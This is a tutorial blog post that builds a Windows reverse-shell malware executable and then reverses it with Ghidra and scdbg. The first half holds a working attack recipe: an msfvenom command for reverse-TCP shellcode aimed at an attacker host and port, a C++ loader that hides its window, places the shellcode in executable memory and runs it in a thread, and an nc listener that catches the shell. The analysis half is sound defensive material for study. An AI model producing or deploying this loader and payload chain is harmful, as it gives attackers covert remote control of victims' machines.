Malware 101: Develop and Analyze our own malware


In this post, we’ll learn together how to write a basic malware program that does a reverse shell connection (using shellcode) and analyze our own compiled malware. We’ll play around with C code using Visual Studio IDE and MSVenom for the creation of the shellcode. The maldev and malware reversing is only for education purpose only!

Malware development

Create a new project in Visual Studio

We’ll start with creating a new project. Choose the “Console App”. Make sure you choose C++.


Name your new project. I’m gonna use “revshell_exe”.


Now, let’s go to our Kali and fire up msvenom to generate our Windows reverse shell’s shellcode to embed in our malware executable.

Generate reverse shell’s shellcode using MSVenom

Before we generate a “shellcode”. Some of the beginners might have no idea what does the shellcode means. So, “Shellcode” is a set of instructions that executes a command in software to take control of or exploit a compromised machine. In our case here, our shellcode is to gain the remote system shell of our victim. The shellcode is not only for shell access, instead there’s much other shellcode action that could be done by the author like privilege escalation and many more.

To generate the shellcode using msvenom, run this command below:

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c

Example: image

All we need now is to copy the shellcode I highlighted in the red box and paste it into our main function inside VS IDE.


When it comes to programming, you need to be familiar with C and WinAPI. Below codes, I’ve put some comments to guide and understand what does the code does.

#include <Windows.h>

int main()
    // Run our executable console app in the background
    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), false);
    // MSVenom shellcode payload here
    unsigned char buf[] =

    //Allocate memory for the shellcode
    PVOID shellcode = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //Copies contents of memory block to destination
    RtlCopyMemory(shellcode, buf, sizeof buf);

    //Execute shellcode as new thread
    DWORD threadID;
    HANDLE handleThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode, NULL, 0, &threadID);

    //Wait till thread terminates
    WaitForSingleObject(handleThread, INFINITE);

If you don’t understand the WinAPI, here is some documentation from Microsoft:

  1. ShowWindow = Microsoft documentation link
  2. VirtualAlloc = Microsoft documentation link
  3. RtlCopyMemory = Microsoft documentation link
  4. CreateThread = Microsoft documentation link
  5. WaitForSingleObject = Microsoft documentation link

Test out our malware

Check for any errors in your code and now we are good to go.

In our Kali, let’s listen to our reverse shell. In my case, my port will be on 4444.

└─$ nc -lvp 4444                                                             
listening on [any] 4444 ...

In “Solution Configurations”, change Debug to Release. Then, click Run icon.


After the program executed, our Kali will gain the remote shell cmd.


Our shellcode and malware successfully execute.

Malware analysis and reversing

Now copy your malicious executable from Release folder into your malware analysis lab and start analysing + reversing the program.

Ghidra analysis

The result of decompiler of Ghidra have a slightly changes from our code. This is due to the how compiler compiled our executable and how the Ghidra translate from the assembly code.

Here the explaination of the decompiled code: image

Extract shellcode

From the decompiler code, we can locate the shellcode in the Ghidra. image

This will bring us to the shellcode bytes in the “Listing view”. image

To extract the shellcode, select all the bytes until the finish. image

Go to Window tab > Bytes: filename.exe. The selected bytes now also been selected in the hex view. image

Copy the bytes and paste into hex editor like HxD. And save it. image

Now to analyze the shellcode, there’s some options:

  1. Use scdbg <– We will use this
  2. Use jmp2it
  3. Convert the shellcode into executable. And debug the executable using x32dbg.

Shellcode analysis

The output below of the scdbg for our shellcode is quite helpful. In our case here, the shellcode was easy to be analyzed. At sometimes, a complex shellcode will not be a simpler like this


LoadLibraryA(ws2_32): First, the process will load the DLL file “ws2_32.dll” using LoadLibrary API.

WSAStartup(190): After that, it calls WSAStartup function to initiate the utilization of the Winsock DLL by the current process.

WSASocket(af=2, tp=1, proto=0, group=0, flags=0): It then call the WSASocket to creates a socket.

If we refer the documentation of WSASocket, here the explaination about the number in the prameter:

  • af=2 -> The Internet Protocol version 4 (IPv4) address family.
  • tp=1 -> SOCK_STREAM
  • proto=0 -> the service provider will choose the protocol to use
  • group=0 -> No group operation is performed.
  • flags=0 -> A set of flags used to specify additional socket attributes.

connect(h=42, host: , port: 4444 ) = 71ab4a07: At this line, the program will establishes a connection to a specific socket. The parameter contains IP of the attacker and his port which will be used to get a reverse shell.

CreateProcessA( cmd, ) = 0x1269: Our shellcode then executes cmd.exe by calling CreateProcessA API

WaitForSingleObject(h=1269, ms=ffffffff): This function will terminate the program when our reverse shell been killed.

ExitProcess(0): Exit and terminate current process.

Sum up

In the conclusion, we’ve learn how to develop a malware that leverage our metasploit shellcode to create the connection to our C2. In the code, we can see that the malware first will be run in the background. And then it allocates some memory space for our shellcode. After allocating the memory region, our shellcode is then being copy to the allocated memory. Then, it uses CreateThread API to execute the shellcode. In the shellcode, it will connect to our IP and port to gain the reverse shell of cmd.exe.